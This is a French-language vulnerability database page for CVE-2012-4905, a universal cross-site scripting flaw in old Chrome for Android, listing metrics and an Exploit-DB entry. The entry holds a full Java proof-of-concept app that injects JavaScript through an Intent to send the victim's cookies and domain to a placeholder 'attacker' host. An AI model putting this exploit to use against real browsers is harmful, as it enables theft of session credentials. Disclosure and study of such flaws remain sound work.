CVE-2012-4905 : Détail

CVE-2012-4905

Cross-site Scripting
A03-Injection
0.13%V3
Network
2022-10-03 14:15 +00:00
2022-10-03 14:15 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

Cross-site scripting (XSS) vulnerability in Google Chrome before 18.0.1025308 on Android allows remote attackers to inject arbitrary web script or HTML via an extra in an Intent object, aka "Universal XSS (UXSS)."

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 37792

Date de publication : 2012-09-11 22:00 +00:00
Auteur : Artem Chaykin
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/55523/info Google Chrome for Android is prone to multiple vulnerabilities. Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible. Versions prior to Chrome for Android 18.0.1025308 are vulnerable. package jp.mbsd.terada.attackchrome1; import android.app.Activity; import android.os.Bundle; import android.content.Intent; import android.net.Uri; public class Main extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); doit(); } // get intent to invoke the chrome app public Intent getIntentForChrome(String url) { Intent intent = new Intent("android.intent.action.VIEW"); intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main"); intent.setData(Uri.parse(url)); return intent; } public void doit() { try { // At first, force the chrome app to open a target Web page Intent intent1 = getIntentForChrome("http://www.google.com/1"); startActivity(intent1); // wait a few seconds Thread.sleep(3000); // JS code to inject into the target (www.google.com) String jsURL = "javascript:var e=encodeURIComponent,img=document.createElement('img');" + "img.src='http://attacker/?c='+e(document.cookie)+'&d='+e(document.domain);" + "document.body.appendChild(img);"; Intent intent2 = getIntentForChrome(jsURL); // Trick to prevent Chrome from opening the JS URL in a different tab intent2.putExtra("com.android.browser.application_id", "com.android.chrome"); intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); // Inject JS into the target Web page startActivity(intent2); } catch (Exception e) {} } }

Products Mentioned

Configuraton 0

Google>>Chrome >> Version To (including) 18.0.1025306

Google>>Android >> Version *

References

Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.